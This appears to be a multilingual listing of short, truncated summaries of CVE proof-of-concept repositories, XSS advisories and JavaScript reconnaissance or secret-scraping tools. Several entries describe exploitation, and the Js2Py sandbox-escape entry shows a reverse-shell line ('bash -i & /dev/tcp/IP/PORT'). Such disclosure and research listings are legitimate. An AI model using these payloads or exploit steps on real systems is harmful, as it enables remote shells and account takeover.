CVE-2026-9811

CVE-2026-9811 CVE-2026-9811 是一个影响 Mautic 7（版本 7.0.0 至 7.1.1）的存储型跨站脚本（Stored XSS）漏洞。该漏洞存在于项目选择器（Project Selector）组件中，通过 AJAX 请求返回的项目名称在未经正确的输出编码或净化处理的情况下被插入到页面中。拥有创建项目权限的已认证用户可以在项目名称中存储恶意 JavaScript 载荷。当其他管理员随后打开包含项目选择器的实体编辑器时，恶意脚本会在其浏览器中执行。 受影响软件 属性 值 产品 Mautic 受影响版本 7.0.0 – 7.1.1 修复版本 7.1.2 组件...

CVE-2025-55580

CVE-2025-55580 - SolidInvoice 客户端存储型跨站脚本（XSS）漏洞 概述 SolidInvoice 在客户端模块中存在一个存储型跨站脚本（XSS）漏洞。经过身份验证的攻击者可以向应用程序注入任意 JavaScript，并随后在用户浏览器中执行。 受影响版本 受影响版本： 2.3.7 已修复版本： 2.3.8 影响 攻击者可以利用该漏洞在应用程序中存储任意 JavaScript，并在其他经过身份验证的用户查看 客户端 页面时执行。如果应用程序部署在多用户环境中——例如有多个管理员——则可能导致： 会话劫持 凭证或令牌窃取 钓鱼或社会工程攻击...

CVE-2025-46041

Anchor CMS v0.12.7 - 存储型XSS（CVE-2025-46041） Anchor CMS v0.12.7 在 /admin/pages/add 接口的 description 字段中存在一个存储型跨站脚本（XSS）漏洞。 CVE ID CVE-2025-46041 概述 类型： 存储型XSS 位置： 页面创建接口（/admin/pages/add） 影响： 可执行任意JavaScript 需要身份验证： 是（管理员或编辑用户） 受影响版本： Anchor CMS v0.12.7（发现时的最新稳定版） 概念验证 1. 登录到 /admin 2. 进入 页面 添加页面 3...

jspanda

JSPanda JSPandaは、クライアントサイドのプロトタイプ汚染脆弱性スキャナーです。2つの主要な機能があります。指定されたURLの脆弱性をスキャンし、JavaScriptライブラリのソースコードを分析します。 ただし、JSPandaは高度なプロトタイプ汚染脆弱性を検出できません。 JSPandaの仕組み プロトタイプ汚染脆弱性に対して複数のペイロードを使用します。 スキャン対象のすべてのリンクを収集し、JSPandaが取得したURLにペイロードを追加して、ヘッドレスChromedriverで各URLに移動します。...

jsecret

jsecret 一个简单快速的工具，用于检测源代码中的敏感数据，例如 JavaScript 文件或其他文件。 安装 go install -v github.com/raoufmaklouf/jsecret@latest 用法 cat jsfiles.txt | jsceret echo http://test.tld/main.js | jsecret 非常感谢 https://twitter.com/medmahmoudi619 在正则表达式方面的帮助。...

CVE-2023-39062

CVE-2023-39062 Spipu Html2Pdf alertdocument.domain HTTP/1.1 Host: example.afine.com Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:109.0 Gecko/20100101 Firefox/113.0 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate...

CVE-2019-12840-NodeJs-Exploit

CVE-2019-12840 sudo node exploit.js...

CVE-2024-28397-Js2Py-RCE

CVE-2024-28397 - Js2Py 沙箱逃逸 Payload 生成器 该脚本用于生成 JavaScript Payload，可在存在漏洞、且 Python 内部实现通过对象包装器暴露的 Js2Py 环境中被求值执行。 使用方法 基本命令执行： python3 cve-2024-28397.py -c "id" 生成紧凑的单行 Payload： python3 cve-2024-28397.py -c "whoami" --compact 使用 Base64 的反弹 Shell 生成 Base64 Payload： echo 'bash -i & /dev/tcp/IP/PORT...

cve-2022-42889-intercept

cve-2022-42889-intercept 低于 Java11版本的需要注意，更高的版本已经取消了Javascript解释器 本次方案针对 Java8 通过 jvm 启动参数 以及 jps pid进行拦截非法参数 quick start -----------------------load...... cve-2022-42889 check start cve-2022-42889 isdeepmatch org.apache.commons.text.StringSubstitutor md.getReturnType.getActualName java.lang.Stri...

cve-2016-1764

CVE-2016-1764 漏洞利用 PoC 代码 无需破解加密即可恢复明文 iMessage 数据 作者 Shubham Shah 来自 Bishop Fox Joe DeMesy 来自 Bishop Fox Matthew Bryant CVE-2016-1764 供应商： Apple 发布日期： 2016年4月8日 补丁日期： 2016年3月21日 受影响系统： OS X Mountain Yosemite、El Capitan 上的 Messages 尽管近期围绕 Apple...

scripthunter

scripthunter Scripthunterは、指定されたウェブサイトのJavaScriptファイルを見つけるツールです。Googleをスキャンするには、./scripthunter.sh https://google.comを実行するだけです。スキャンには時間がかかる場合があるため、scripthunterはTelegram APIを介してスキャン完了時に通知する仕組みも実装しています。ブログ記事 セットアップ...

CVE-2024-4367-PoC

CVE-2024-4367 和 CVE-2024-34342：PDF.js 中的任意 JavaScript 执行 PDF.js 在处理字体时缺少类型检查，允许在 PDF.js 上下文中执行任意 JavaScript。该漏洞影响 Firefox 126、Firefox ESR 115.11 和 Thunderbird 115.11。 如果使用 pdf.js 加载恶意 PDF，并且 PDF.js 配置为 isEvalSupported 设置为 true（默认值），则攻击者控制的不受限制的 JavaScript 将在宿主域的上下文中执行。 JS 执行 python3...

FlowName

FlowName Name quality shows the ratio of names exclusively preferred by an automated, uncalibrated Jev evaluation.Animated chart → · Exact counts, method and limitations → Try FlowName in your browser → — enter your JavaScript, API key and model; no installation required. CLI: npx --yes...

Jbin-website-secret-scraper

🎖️ JbinはウェブサイトからすべてのURLを収集し、そこから秘密のデータを露出しようと試みます。URLとJSリンクの両方を収集して、そこから秘密情報をスクレイピングします。また、ページ内の特定の文字列を探している場合や、カスタム正規表現を実行したい場合も、新しいリリースではそれが可能になりました。さらに、有益なレポートも提供します。 どのように動作しますか？ サードパーティコンポーネント Wayback API インストール 必要要件: Python-3.8.5, Flask 1. flaskをインストール pip install Flask 2. 要件をインストール pip...

CVE-2025-45960

CVE-2025-45960 - tawk.to 在线聊天 - 1.6.1 - 跨站脚本（XSS）漏洞 已在 1.6.1 上确认（旧版本可能受影响） 描述： 发现该 Web 应用在存储和显示用户提供的输入时，未进行充分的输入验证或编码。这导致恶意代码被存储在服务器上，并在未经过适当清理的情况下渲染到用户的 Web 浏览器中。例如，测试人员可以在在线聊天中存储恶意 JavaScript，并可在网站上执行。 影响： 攻击者能够向系统中的参数注入恶意代码，如果用户访问了存储恶意代码的网页，则可能危害 Web 应用的用户。例如窃取敏感信息、钓鱼攻击、损害品牌声誉。 概念验证（PoC）：...

XWiki Platform - Cross-Site Scripting

XWiki Platform versions = 4.2-milestone-3 and = 16.5.0-rc-1 and = 17.0.0-rc-1 and = 4.2-milestone-3 and = 16.5.0-rc-1 and = 17.0.0-rc-1 and 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the...

Agentejo Cockpit 0.10.2 - Cross-Site Scripting

Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page's content. id: CVE-2020-14408 info: name: Agentejo Cockpit 0.10.2 ...

FineCMS <=5.0.10 - Cross-Site Scripting

FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request. id: CVE-2017-11629 info: name: FineCMS =5.0.11 which includes a fix for this vulnerability. reference: -...

osTicket < 1.12.1 - Cross-Site Scripting

An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the...

NestJS DevTools Integration - Remote Code Execution

Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution RCE vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API...